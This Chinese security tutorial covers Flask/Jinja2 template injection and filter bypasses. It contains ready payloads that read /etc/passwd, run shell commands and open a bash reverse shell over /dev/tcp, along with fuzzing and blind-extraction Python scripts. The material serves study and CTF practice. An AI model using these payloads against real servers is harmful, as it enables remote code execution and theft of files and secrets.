SSTI漏洞学习(下)——Flask/Jinja模板引擎的相关绕过

VSole2021-08-17 17:02:02

再看寻找Python SSTI攻击载荷的过程

获取基本类

对于返回的是定义的Class内的话:__dict__   //返回类中的函数和属性,父类子类互不影响__base__ //返回类的父类 python3__mro__ //返回类继承的元组,(寻找父类) python3__init__ //返回类的初始化方法   __subclasses__()  //返回类中仍然可用的引用  python3__globals__  //对包含函数全局变量的字典的引用 python3对于返回的是类实例的话:__class__ //返回实例的对象,可以使类实例指向Class,使用上面的魔术方法

''.__class__.__mro__[2]{}.__class__.__bases__[0]().__class__.__bases__[0][].__class__.__bases__[0]

此外,在引入了Flask/Jinja的相关模块后还可以通过

configrequesturl_forget_flashed_messagesselfredirect

等获取基本类,

获取基本类后,继续向下获取基本类(object)的子类

object.__subclasses__()

找到重载过的__init__

在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的

也可以利用.index()去找file,warnings.catch_warnings

>>> ''.__class__.__mro__[2].__subclasses__()[99].__init__<slot wrapper '__init__' of 'object' objects>>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__<unbound method WarningMessage.__init__>

查看其引用__builtins__

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']

这里会返回dict类型,寻找keys中可用函数,直接调用即可,使用keys中的file等函数来实现读取文件的功能

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()

常用的目标函数有这么几个

filesubprocess.Popenos.popenexeceval

常用的中间对象有这么几个

catch_warnings.__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1')lipsum.__globals__.__builtins__.open("/flag").read()linecache.os.system('ls')

更多的可利用类可以通过遍历筛选的方式找到

比如对subprocess.Popen我们可以构造如下fuzz脚本

import requests
url = ""
index = 0for i in range(100, 1000):    #print i    payload = "{{''.__class__.__mro__[2].__subclasses__()[%d]}}" % (i)    params = {        "search": payload    }    #print(params)    req = requests.get(url,params=params)    #print(req.text)    if "subprocess.Popen" in req.text:        index = i        break

print("index of subprocess.Popen:" + str(index))print("payload:{{''.__class__.__mro__[2].__subclasses__()[%d]('ls',shell=True,stdout=-1).communicate()[0].strip()}}" % i)

那么我们也可以利用{%for%}语句块来在服务端进行fuzz

{% for c in [].__class__.__base__.__subclasses__() %}  {% if c.__name__=='catch_warnings' %}  {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('').read()") }}  {% endif %}{% endfor %}

一些Trick

  • Python 字符的几种表示方式
  • 16进制 \x41
  • 8进制 \101
  • unicode \u0074
  • base64 'X19jbGFzc19f'.decode('base64') python3
  • join "fla".join("/g")
  • slice "glaf"[::-1]
  • lower/upper ["__CLASS__"|lower
  • format "%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)
  • replace "__claee__"|replace("ee","ss")
  • reverse "__ssalc__"|reverse
  • python字典或列表获取键值或下标的几种方式
dict['__builtins__']dict.__getitem__('__builtins__')dict.pop('__builtins__')dict.get('__builtins__')dict.setdefault('__builtins__')list[0]list.__getitem__(0)list.pop(0)
  • SSTI 获取对象元素的几种方式
  • class.attr
  • class.__getattribute__('attr')
  • class['attr']
  • class|attr('attr')
  • "".__class__.__mro__.__getitem__(2)
  • ['__builtins__'].__getitem__('eval')
  • class.pop(40)
  • request 旁路注入
request.args.name    #GET namerequest.cookies.name #COOKIE namerequest.headers.name #HEADER namerequest.values.name  #POST or GET Namerequest.form.name    #POST NAMErequest.json         #Content-Type json
  • 通过拿到current_app这个对象获取当前flask App的上下文信息,实现config读取

比如

{{url_for.__globals__.current_app.config}}{{url_for.__globals__['current_app'].config}}{{get_flashed_messages.__globals__['current_app'].config.}}{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].cofig}}

Bypass的手段

在对Jinjia SSTI注入时,本质是在Jinja的沙箱中进行代码注入,因此很多绕过技巧和python沙箱逃逸是共通的

{{}}模板标签过滤

  • {% if xxx %}xxx{% endif %}形式
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1') %}1{% endif %}
  • {% print xxx %} 形式
{% print ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1')

关键词过滤

base64编码绕过

__getattribute__使用实例访问属性时,调用该方法

例如被过滤掉class关键词

{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

字符串拼接绕过

{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}

利用dict拼接

{% set a=dict(o=x,s=xx)|join %}

利用string

比如'可以用下面方式拿到,存放在quote

{% set quote = ((app.__doc__|list()).pop(337)|string())%}

类似的还有

{% set sp = ((app.__doc__|list()).pop(102)|string)%}{% set pt = ((app.__doc__|list()).pop(320)|string)%}{% set lb = ((app.__doc__|list()).pop(264)|string)%}{% set rb = ((app.__doc__|list()).pop(286)|string)%}{% set slas = (eki.__init__.__globals__.__repr__()|list()).pop(349)%}{% set xhx = (({ }|select()|string()|list()).pop(24)|string())%}

通过~可以将得到的字符连接起来

一个eval的payload如下所示

{% set xhx = (({ }|select()|string|list()).pop(24)|string)%}{% set sp = ((app.__doc__|list()).pop(102)|string)%}{% set pt = ((app.__doc__|list()).pop(320)|string)%}{% set quote = ((app.__doc__|list()).pop(337)|string)%}{% set lb = ((app.__doc__|list()).pop(264)|string)%}{% set rb = ((app.__doc__|list()).pop(286)|string)%}{% set slas = (eki.__init__.__globals__.__repr__()|list()).pop(349)%}{% set bu = dict(buil=x,tins=xx)|join %}{% set im = dict(imp=x,ort=xx)|join %}{% set sy = dict(po=x,pen=xx)|join %}{% set oms = dict(o=x,s=xx)|join %}{% set fl4g = dict(f=x,lag=xx)|join %}{% set ca = dict(ca=x,t=xx)|join %}{% set ev = dict(ev=x,al=xx)|join %}{% set red = dict(re=x,ad=xx)|join%}{% set bul = xhx*2~bu~xhx*2 %}
{% set payload = xhx*2~im~xhx*2~lb~quote~oms~quote~rb~pt~sy~lb~quote~ca~sp~slas~fl4g~quote~rb~pt~red~lb~rb %}

可以在evalexec语句中使用,如下

{% for f,v in eki.__init__.__globals__.items() %}     {% if f == bul %}         {% for a,b in v.items() %}            {% set x=a%}            {% if a == ev %}                {{b(payload)}}            {% endif %}        {% endfor %}    {% endif %}{% endfor %}

Python3 对Unicode的Normal化

比如

可以绕过数字限制

同时在python3中会对unicode normalize,导致exec可以执行unicode代码

Python的格式化字符串特性

比如

'{0:c}'['format'](95){ "%s, %s!"|format(greeting, name) }}

拼接起来有

{{""['{0:c}'['format'](95)+'{0:c}'['format'](95)+'{0:c}'['format'](99)+'{0:c}'['format'](108)+'{0:c}'['format'](97)+'{0:c}'['format'](115)+'{0:c}'['format'](115)+'{0:c}'['format'](95)+'{0:c}'['format'](95)]}}

getlist

使用.getlist()方法获得一个列表,这个列表的参数可以在后面传递

{%print (request.args.getlist(request.args.l)|join)%}&l=a&a=_&a=_&a=class&a=_&a=_

可以获得__class__

特殊字符过滤

过滤引号

request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤

将其中的request.args改为request.values则利用REQUEST的方式进行传参

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

过滤双下划线

同样利用request.args属性

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

#GET:{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}
#POST:class=__class__&mro=__mro__&subclasses=__subclasses__

过滤./[]

这里对获取元素方法属性进行了限制,那么我们可以使用上面Trick中介绍的获取对象元素的几种方式进行绕过

比如用原生JinJa2函数|attr()

request.__class__改成request|attr("__class__")

同时绕过下划线、与中括号

综合之前的Trick利用就行

{{()|attr(request.values.name1)|attr(request.values.name2)|attr(request.values.name3)()|attr(request.values.name4)(40)('/etc/passwd')|attr(request.values.name5)()}}post:name1=__class__&name2=__base__&name3=__subclasses__&name4=pop&name5=read

过滤圆括号

  • 对函数执行方式进行重载,比如将
  • request.__class__.__getitem__=__builtins__.exec;那么执行request[payload]时就相当于exec(payload)
  • 使用lambda表达式进行绕过

对象层面禁用

  • set {}=None

只能设置该对象为None,通过其他引用同样可以找到该对象

{{% set config=None%}} -> {{url_for.__globals__.current_app.config}}
  • del
del __builtins__.__dict__['__import__']

通过reload进行重载

reload(__builtins__)
  • 其他一些小trick

比如func.__code__.co_consts 可以获得对应函数的上下文常量

盲注

盲注一般有如下几种思路

  • 反弹shell
  • 通过rce反弹一个shell出来绕过无回显的页面
  • 带外注入
  • 通过requestbin或dnslog的方式将信息传到外界
  • 纯盲注
  • 利用index方法

Python index() 方法检测字符串中是否包含子字符串 str ,如果指定 beg(开始) 和 end(结束) 范围,则检查是否包含在指定范围内,该方法与 python find()方法一样,只不过如果str不在 string中会报一个异常。

比如

{{(request.__class__.__mro__[2].__subclasses__[334].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()|string).index("r",0,3)}}

如果/etc/passwd的第一个字符是r那么就不会触发异常,如果不是就会触发异常,根据这个特点可以进行盲注

如下是一个盲注脚本

import requestsfrom string import printable as pt
host = "http://127.0.0.1:8765/"res  = ''
for i in range(0,40):    for c in pt:        payload = '{{(request.__class__.__mro__[2].__subclasses__[334].__init__.__globals__["__builtins__"]["file"]("/etc/passwd").read()|string).index("%c",%d,%d)}}' % (c,i,i+1)         param = {            "name":payload        }        req = requests.get(host,params=param)
        if req.status_code == 200:            res += c            break    print(res)
stringflask
本作品采用《CC 协议》,转载必须注明作者和本文链接
burp0_data = {"name": username, "pw": password, "repw": password, "email": email, "submit": ''}
再看寻找Python SSTI攻击载荷的过程。获取基本类,此外,在引入了Flask/Jinja的相关模块后还可以通过
Web框架的请求上下文
2022-04-21 16:54:48
最近在研究web框架时,对"请求上下文"这个基础概念有了更多的了解,因此记录一下,包括以下内容: "请求上下文"是什么? web框架(flask和gin)实现"请求上下文"的区别? "线程私有数据"是什么? 学习过程 "请求上下文"是什么? 根据 Go语言动手写Web框架 - Gee第二天 上下文Context[1] 和 Context:请求控制器,让每个请求都在掌控之中[2] 两篇文章
MTCTF-2022 部分WriteUp
2022-11-23 09:35:37
MTCTF 本次比赛主力输出选手Article&Messa&Oolongcode,累计解题3Web,2Pwn,1Re,1CryptoWeb★easypickle题目给出源码:。import base64import picklefrom flask import Flask, sessionimport osimport random. @app.route('/')def hello_world(): if not session.get: session['user'] = ''.join return 'Hello {}!\x93作用同c,但是将从stack中出栈两元素分别导入的模块名和属性名:此外对于蓝帽杯WP还存在一个小问题,原题采用_loads函数加载pickle数据但本题是loads,在opcodes处理上会有些微不通具体来说就是用loads加载时会报错误如下:对着把传入参数换成元组就行,最终的payload如下
2020 Codegate Web题解
2022-07-07 08:09:51
Codegate 还是有很多国际强队参加的,这里记录 Codegate 的两道 Web题。
在一个充斥着新工具和多样化开发环境的世界中,几乎所有开发人员或工程师都有必要学习一些基本的系统管理命令。特定的命令和软件包可以帮助开发人员组织、排除故障并优化其应用程序,并且在出现问题时为操作员和系统管理员提供有价值的分类信息。 无论你是新开发人员还是希望管理自己的应用程序,以下20个基本的sysadmin命令都可以帮助你更好地理解应用程序。它们还可以帮助你向系统管理员描述问题,并排除应用程序可
就需要了解一下名称空间python的名称空间,是从名称到对象的映射,在python程序的执行过程中,至少会存在两个名称空间。python中一切均为对象,均继承于object对象,python的object类中集成了很多的基础函数,假如我们需要在payload中使用某个函数就需要用object去操作。
强网杯-WriteUp
2022-08-02 08:02:30
然后使用 admin/123登录管理员账户即可,登录后存在购买页面,经过测试,使用如下 payload 可以绕过检查,再访问主页面即可获得 flag
XS-Leaks 和 csrf 较为相似。浏览器提供了多种功能来支持不同 Web 应用程序之间的交互;例如,它们允许网站加载子资源、导航或向另一个应用程序发送消息。
Webshell检测方法
2022-01-04 10:33:05
Webshell作为一种web后门,通常由攻击者通过常见的Web网站漏洞,如sql注入、文件包含和上传等,上传到服务器,从而为攻击者提供与服务器端进行交互的能力。
VSole
网络安全专家